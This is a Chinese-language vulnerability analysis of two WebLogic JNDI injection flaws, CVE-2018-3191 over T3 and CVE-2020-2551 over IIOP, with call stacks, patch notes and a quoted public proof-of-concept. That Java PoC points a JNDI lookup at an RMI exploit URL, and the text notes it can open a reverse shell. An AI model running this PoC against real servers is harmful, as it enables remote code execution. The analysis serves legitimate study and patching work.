前言
接着前面的分析,这里主要是两个由JtaTransactionManager
类的readObject
方法调用过程中而造成的JNDI注入,其中第一个(CVE-2018-3191)是使用T3进行发送序列化数据,而第二个(CVE-2020-2551)这个经典的漏洞是通过IIOP来进行序列化数据的传递的
环境搭建
同样可以使用之前的环境搭建
JNDI Injection
CVE-2018-3191
原理
主要是在com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject
方法中,在反序列化调用过程中将会触发一个JNDI注入漏洞
分析
我们跟进一下关键类的readObject
方法
首先创建了一个JndiTemplate
类赋值给了jndiTemplate
属性,之后调用了initUserTransactionAndTransactionManager
方法,跟进看看逻辑
在这里如果userTransaction
属性值为空,将会调用lookupUserTransaction
进行lookup查询
所以现在我们的目标就是使得其属性值为空,我们来看看他的构造方法
存在有多个重载方法,只有无参构造方法中才没有对该属性进行赋值,所以我们在构造恶意对象的时候使用无参构造方法就行了
在调用lookupUserTransaction
方法的时候传入的是userTransactionName
属性值
对于该属性的赋值,该类存在有一个方法为setUserTransactionName
我们看看lookupUserTransaction
方法的调用过程
这里是对传入的userTransactionName
值进行了lookup查询
这里调用了Context#lookup
触发了JNDI查询
给个调用栈
lookup:127, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
CVE-2020-2551
原理
这个CVE主要是在IIOP协议上面做出的文章,在之前的Weblogic版本中,IIOP协议是默认开放的,且在JtaTransactionManager
类中也没有进行过滤,IIOP协议的利用过程和RMI / LDAP协议的利用很像,相应的,在RMI攻击造成的反序列化问题,这里的IIOP协议同样具有
分析
简单贴一下概念性的东西
RMI: RMI英文全称为Remote Method Invocation,字面的意思就是远程方法调用,其实本质上是RPC服务的JAVA实现,底层实现是JRMP协议,TCP/IP作为传输层。通过RMI可以方便调用远程对象就像在本地调用一样方便。使用的主要场景是分布式系统。
CORBA: Common Object Request Broker Architecture(公共对象请求代理体系结构)是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL(interface definition language)描述连接到远程对象的接口,然后将其映射到制定的语言实现。
IIOP: CORBA对象之间交流的协议,传输层为TCP/IP。它提供了CORBA客户端和服务端之间通信的标准。
对于Weblogic来说就是一种RMI_IIOP
的架构
网上公开的POC为
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1";
String port = "7001";
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
context.bind("hello", remote);
}
我们简单分析一下其中的执行逻辑
首先是通过设置了java.naming.factory.initial / java.naming.provider.url
两个变量
之后通过创建一个InitialContext
方法从给定的url中获取了Context对象,我们具体跟进一下这个步骤
这个InitialContext
方法就是用来从给定的环境中获取特定的context对象
可以一路跟进到public static Context getInitialContext(Hashtable<?,?> env)
方法的调用中
首先是从我们传入的Hashtable对象中获取key为Context.INITIAL_CONTEXT_FACTORY
的值,即是java.naming.factory.initial
获取到了weblogic.jndi.WLInitialContextFactory
这个类名
之后调用了loadClass
来获取这个类并实例化
之后可以一路追踪到iiopEnvironmentFactory#getInitialContext
方法中
调用了InitialContextFacotryImpl.getInitialContext
方法来获取远程Context对象
在第二个传参中取出了我们设置的第二个变量java.naming.provider.url
首先判断是不是IOR
开头的url,我们这里使用的IIOP
进入了else语句
通过ORB的实现类的getORBReference
方法来获取远程的Reference对象
在获取了这个Context对象之后,执行其bind
等方法类似于RMI的利用,将会触发反序列化的调用
我们来看看具体点的流程
weblogic在接收到iiop请求之后,进行处理的位置是在weblogic.rmi.internal.wls.WLSExecuteRequest#run
类中
在这里通过调用ref
属性的handleRequest
方法进行请求的处理
此时的ref
属性是一个CorbaServerRef
类对象,所以该请求的具体处理时在weblogic.corba.idl.CorbaServerRef#handleRequest
方法中
但是该类是没有该方法的,所以主要时在其父类BasicServerRef#handleRequest
方法进行处理
具体为
前面都是没有啥意义的逻辑,主要是在run方法的调用
调用var2.invoke
方法,其中的var2
就是在这个方法中传入的InvokeHandler
对象,也即是ClusterableServerRef
类对象
看看他的invoke
方法
其中传入的参数分别是我们POC中调用的bind
方法对应的bind_any
方法,输入流和输出流
在该方法中, 第一个if
语句中判断了该次请求是否是IIOP协议封装的请求
如果满足这个条件,调用的是getReplicaInfo
方法进行信息的获取
且在后面通过提取获取到的var5
,通过调用setReplicaInfo
来处理回复包
最重要的是在后面的invoker.invoke
方法中,将var1 / var2
和处理过后的var3
后进行了传入,这里的invoker
属性是weblogic.corba.idl.CorbaServerRef
类对象
在该方法中,在该类的objectMethods
属性中,获取到我们想要的方法名对应的flags
但是没有我们想要的bind_any
方法,所以var5
得到的值为5
所以调用到了this.delegate._invoke
方法中来
在该类中是不存在_invoke
方法的,我们追踪到其父类weblogic.corba.cos.naming._NamingContextAnyImplBase
中来
在该方法中,首先通过从_methods
属性中获取我们想要调用的方法对应的flags
这次在这个属性中是存在bind_any
这个key值的
可以返回的flags为0,从这里我们也可以看出存在有unbind / rebind / list
等在RMI攻击中用到的方式
言归正传
在之后进行switch语句中,进入了case 0
子句
在其中调用了输入流的read_any
方法,即是IIOPInputStream#read_any
方法中
可以一直跟进到weblogic.corba.idl.AnyImpl#read_value_internal
方法中
这一部分的调用链为
在该方法中是通过获取对应的值来进入不同的case语句
此时的_value值为29,所以,进入的是case 30中的子句
调用了weblogic.iiop.IIOPInputStream#read_value
方法进行从输入流中获取值(也就是反序列化的过程)
在其中对序列化数据进行处理的过程中调用了ValueHandlerImpl#readValue
方法
这里的var1
对象就是我们在POC中调用bind
方法绑定的类,即是JtaTransactionManager
对象
所以,这里在readValue
方法中,进入的else语句调用readValueData
进行数据的处理
调用了readValueData
方法
调用了我们ObjectStreamClass对象的readObject
方法
进而调用了com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject
方法
之后就是在上个CVE中同样的触发JNDI注入的逻辑了
调用initUserTransactionAndTransactionManager
方法
调用lookupUserTransaction
方法
在这里存在有JNDI注入的点
其中该方法中的传参,也就是我们在POC中调用setUserTransactionName
设置的userTransactionName
属性值
这里并没有任何的过滤,所以能够造成注入
完整的调用栈
lookupUserTransaction:562, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
readObject:315, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:1428, IIOPInputStream (weblogic.iiop)
read_value:1278, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1033, IIOPInputStream (weblogic.iiop)
read_any:1026, IIOPInputStream (weblogic.iiop)
_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:231, ClusterableServerRef (weblogic.rmi.cluster)
run:527, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:523, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:311, ExecuteThread (weblogic.work)
run:263, ExecuteThread (weblogic.work)
能够反弹shell
修复
- 直接关闭默认开启的IIOP协议功能
- 官方补丁中主要是通过将
JtaTransactionManager
类的父类AbstractPlatformTransactionManager
添加进入了黑名单中,递归查询的深度为100
Ref
https://www.r4v3zn.com/posts/b64d9185/